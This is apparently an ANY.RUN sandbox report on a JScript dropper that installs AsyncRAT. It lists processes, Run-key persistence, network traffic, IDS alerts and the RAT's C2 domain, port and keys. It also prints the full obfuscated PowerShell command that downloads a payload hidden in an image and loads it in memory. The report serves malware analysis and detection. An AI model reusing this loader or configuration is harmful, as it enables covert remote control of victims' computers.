File name: | 0..js |
Full analysis: | https://app.any.run/tasks/14909b82-edfd-4c3c-a613-989a84d3538d |
Verdict: | Malicious activity |
Threats: | AsyncRAT is a RAT that can monitor and remotely control infected systems. This malware was introduced on Github as a legitimate open-source remote administration software, but hackers use it for its many powerful malicious functions. |
Analysis date: | April 29, 2025, 09:28:39 |
OS: | Windows 10 Professional (build: 19044, 64 bit) |
Tags: | |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with CRLF line terminators |
MD5: | E9C94D33539BFA16BC86D65AC6B49705 |
SHA1: | 32264EB4057227A78F91F1AAD342CD6FAC3533DB |
SHA256: | E4846D770EB82608075D3E2D6C3A6754AE5E086327F5F9EA7FF6435B4B042AAD |
SSDEEP: | 384:ereTrRkrQ7eqrRxrQBeTrRkrQ7eqrRxrQrrxrwsrjrrqrwrroBeerSxrL7eer0J/:F+PMD |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
672 | "C:\Windows\System32\cmd.exe" /C copy *.js "C:\Users\Public\Downloads\Aleichem.js" | C:\Windows\System32\cmd.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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1228 | C:\WINDOWS\system32\SppExtComObj.exe -Embedding | C:\Windows\System32\SppExtComObj.Exe | — | svchost.exe | |||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: KMS Connection Broker Version: 10.0.19041.3996 (WinBuild.160101.0800) Modules
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1912 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -w hidden -c "$redliche = 'JAByAG8AdQBnAGgAdwByAG8AdQBnAGgAdAAgAD0AIAAnADAALwBBAFgAaQBBAHoAUwBRAEwALwBkAC8AZQBlAC4AZQAjAHMAYQBwAC8ALwA6AHMAcAAjACMAaAAnADsAJABmAGwAZQBnAG0AIAA9ACAAJAByAG8AdQBnAGgAdwByAG8AdQBnAGgAdAAgAC0AcgBlAHAAbABhAGMAZQAgACcAIwAnACwAIAAnAHQAJwA7ACQAYQBkAGgAZQByAGUAbgB0AGwAeQAgAD0AIAAnAGgAdAB0AHAAcwA6AC8ALwBhAHIAYwBoAGkAdgBlAC4AbwByAGcALwBkAG8AdwBuAGwAbwBhAGQALwBuAGUAdwBfAGkAbQBhAGcAZQBfADIAMAAyADUAMAA0ADEAMwAvAG4AZQB3AF8AaQBtAGEAZwBlAC4AagBwAGcAJwA7ACQAYQBuAHQAaQBtAGEAdAByAG8AaQBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAOwAkAGEAbgB0AGkAbQBhAHQAcgBvAGkAZAAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApADsAJABpAHQAegBpAGIAdQAgAD0AIAAkAGEAbgB0AGkAbQBhAHQAcgBvAGkAZAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJABhAGQAaABlAHIAZQBuAHQAbAB5ACkAOwAkAHMAdQByAHYAZQB5AG8AcgBzACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAaQB0AHoAaQBiAHUAKQA7ACQARQB1AHAAaABvAHIAYgBpAHUAbQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACQAQQBtAG8AcgBpAHQAZQAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgAnADsAJABmAG8AcgBnAGUAcwAgAD0AIAAkAHMAdQByAHYAZQB5AG8AcgBzAC4ASQBuAGQAZQB4AE8AZgAoACQARQB1AHAAaABvAHIAYgBpAHUAbQApADsAJABzAHQAYQBrAGUAcgAgAD0AIAAkAHMAdQByAHYAZQB5AG8AcgBzAC4ASQBuAGQAZQB4AE8AZgAoACQAQQBtAG8AcgBpAHQAZQApADsAJABmAG8AcgBnAGUAcwAgAC0AZwBlACAAMAAgAC0AYQBuAGQAIAAkAHMAdABhAGsAZQByACAALQBnAHQAIAAkAGYAbwByAGcAZQBzADsAJABmAG8AcgBnAGUAcwAgACsAPQAgACQARQB1AHAAaABvAHIAYgBpAHUAbQAuAEwAZQBuAGcAdABoADsAJAB0AGUAeAB0AHUAcgBlAGwAZQBzAHMAIAA9ACAAJABzAHQAYQBrAGUAcgAgAC0AIAAkAGYAbwByAGcAZQBzADsAJABtAGkAbAB0AG8AbgBpAGMAIAA9ACAAJABzAHUAcgB2AGUAeQBvAHIAcwAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABmAG8AcgBnAGUAcwAsACAAJAB0AGUAeAB0AHUAcgBlAGwAZQBzAHMAKQA7ACQAYwBsAGEAbgBuAGkAcwBoACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAG0AaQBsAHQAbwBuAGkAYwApADsAJABnAGEAcgByAG8AdAB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAJABjAGwAYQBuAG4AaQBzAGgAKQA7ACQAdwBoAGUAdQBnAGgAIAA9ACAAWwBkAG4AbABpAGIALgBJAE8ALgBIAG8AbQBlAF0ALgBHAGUAdABNAGUAdABoAG8AZAAoACcAVgBBAEkAJwApAC4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgAFsAbwBiAGoAZQBjAHQAWwBdAF0AIABAACgAJABmAGwAZQBnAG0ALAAnADEAJwAsACcAQwA6AFwAVQBzAGUAcgBzAFwAUAB1AGIAbABpAGMAXABEAG8AdwBuAGwAbwBhAGQAcwAnACwAJwBBAGwAZQBpAGMAaABlAG0AJwAsACcAagBzAGMAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAJwAsACcAagBzACcALAAnACcALAAnACcALAAnACcALAAnADIAJwAsACcAJwApACkA' -replace '','';$empathizer = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($redliche));Invoke-Expression $empathizer;" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wscript.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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2908 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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4272 | "C:\WINDOWS\System32\SLUI.exe" RuleId=3482d82e-ca2c-4e1f-8864-da0267b484b2;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=4de7cb65-cdf1-4de9-8ae8-e3cce27b9f2c;NotificationInterval=1440;Trigger=TimerEvent | C:\Windows\System32\slui.exe | SppExtComObj.Exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Windows Activation Client Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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5124 | "C:\Windows\System32\WScript.exe" C:\Users\admin\AppData\Local\Temp\0..js | C:\Windows\System32\wscript.exe | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.812.10240.16384 Modules
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5728 | "C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe" | C:\Windows\Microsoft.NET\Framework\v4.0.30319\jsc.exe | powershell.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: jsc.exe Version: 14.8.9037.0 built by: NET481REL1 Modules
AsyncRat(PID) Process(5728) jsc.exe C2 (1)arannsasaaransasaturituri2024.duckdns.org Ports (1)3009 Version0.5.7B Botnet202512 Options AutoRunfalse MutexMutex_6SI8Admxn InstallFolder%AppData% BSoDfalse AntiVMfalse Certificates Cert1MIIE8jCCAtqgAwIBAgIQAKxLlAkF1WRT8tAExBlQyzANBgkqhkiG9w0BAQ0FADAaMRgwFgYDVQQDDA9Bc3luY1JBVCBTZXJ2ZXIwIBcNMjIwOTIwMTQyNzUwWhgPOTk5OTEyMzEyMzU5NTlaMBoxGDAWBgNVBAMMD0FzeW5jUkFUIFNlcnZlcjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIBAKrrWexesJSLqGeYC6kTxL6e4fbMdbCF6T1opNgSYFlyavRm733h8x2GXmzipr8dl/UHWmWcPmk8... Server_SignatureaUJYEXRD16PdjWsVGUoEDC/1J06mt5QZ1omtU2iI7pPlXs4zpHUCvJet1MDT2ajfim6gAJ+FYra971v3kb3+G2GEGbjwGZ1oOYVZ8DwiaDfw7QgxRiImmT0I0CUO9+spPhTADC95gzwiceAy8MwW4b58aslG8KpEtWUQPIIJmuoj3wOLWF61XueIg6Z4HxgoYVAMxuEwwKXMqvvVSZS72Erwsjl3L+mWIhlTeZmfeNfUUxYeFK1c2dA+Uy3ZFQjyWdMUC3C1lF9ygLcF+yWNoKgG3BurqF67fO2gKbULXKwf... Keys AESdcdac48667980a3746d51f0c2cd7e93fe6fe063bf3f33d65e9fabcd2e3d8f36c Saltbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 | |||||||||||||||
6028 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | powershell.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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7012 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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(PID) Process: | (5124) wscript.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows Script\Settings\Telemetry\wscript.exe |
Operation: | write | Name: | JScriptSetScriptStateStarted |
Value: 5ABF100000000000 | |||
(PID) Process: | (1912) powershell.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Operation: | write | Name: | Path |
Value: C:\Users\Public\Downloads\Aleichem.js |
PID | Process | Filename | Type | |
---|---|---|---|---|
1912 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fxjc5ulf.dkx.ps1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
672 | cmd.exe | C:\Users\Public\Downloads\Aleichem.js | text | |
MD5:37AD3EC4624229628934EAE6FF69C70C | SHA256:DB8E6DD12B637AF25913EE14CECAC7147131A284D7E50B7EF70DEE1EC2832CB4 | |||
1912 | powershell.exe | C:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_t43ne3yu.0is.psm1 | text | |
MD5:D17FE0A3F47BE24A6453E9EF58C94641 | SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7 | |||
1912 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | binary | |
MD5:D2CC9092E98EBCD326AA475FB6C1CBF5 | SHA256:7776099592EEC05C271580CDDA63AEEF5BB48D8AE97BC6F2D792D273C978939B |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
5496 | MoUsoCoreWorker.exe | GET | 200 | 23.32.238.107:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
5496 | MoUsoCoreWorker.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6544 | svchost.exe | GET | 200 | 23.63.118.230:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
2772 | SIHClient.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl | unknown | — | — | whitelisted |
2772 | SIHClient.exe | GET | 200 | 2.23.181.156:80 | http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
— | — | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
5496 | MoUsoCoreWorker.exe | 23.32.238.107:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
2104 | svchost.exe | 40.127.240.158:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | IE | unknown |
5496 | MoUsoCoreWorker.exe | 2.23.181.156:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
3216 | svchost.exe | 172.211.123.250:443 | client.wns.windows.com | MICROSOFT-CORP-MSN-AS-BLOCK | FR | whitelisted |
1912 | powershell.exe | 207.241.224.2:443 | archive.org | INTERNET-ARCHIVE | US | whitelisted |
6700 | RUXIMICS.exe | 51.104.136.2:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
1912 | powershell.exe | 207.241.227.90:443 | ia601700.us.archive.org | INTERNET-ARCHIVE | US | whitelisted |
Domain | IP | Reputation |
---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
client.wns.windows.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
archive.org |
| whitelisted |
ia601700.us.archive.org |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
paste.ee |
| shared |
PID | Process | Class | Message |
---|---|---|---|
— | — | Misc activity | ET INFO Pastebin-like Service Domain in DNS Lookup (paste .ee) |
— | — | Potential Corporate Privacy Violation | ET INFO Pastebin-style Service (paste .ee) in TLS SNI |
— | — | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
— | — | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
— | — | Potentially Bad Traffic | ET DYN_DNS DYNAMIC_DNS Query to a *.duckdns .org Domain |
— | — | Misc activity | ET DYN_DNS DYNAMIC_DNS Query to *.duckdns. Domain |
— | — | Domain Observed Used for C2 Detected | REMOTE [ANY.RUN] AsyncRAT SSL certificate |
— | — | Domain Observed Used for C2 Detected | ET MALWARE Generic AsyncRAT/zgRAT Style SSL Cert |
— | — | Domain Observed Used for C2 Detected | ET MALWARE Observed Malicious SSL Cert (AsyncRAT Server) |
— | — | Malware Command and Control Activity Detected | REMOTE [ANY.RUN] AsyncRAT Successful Connection |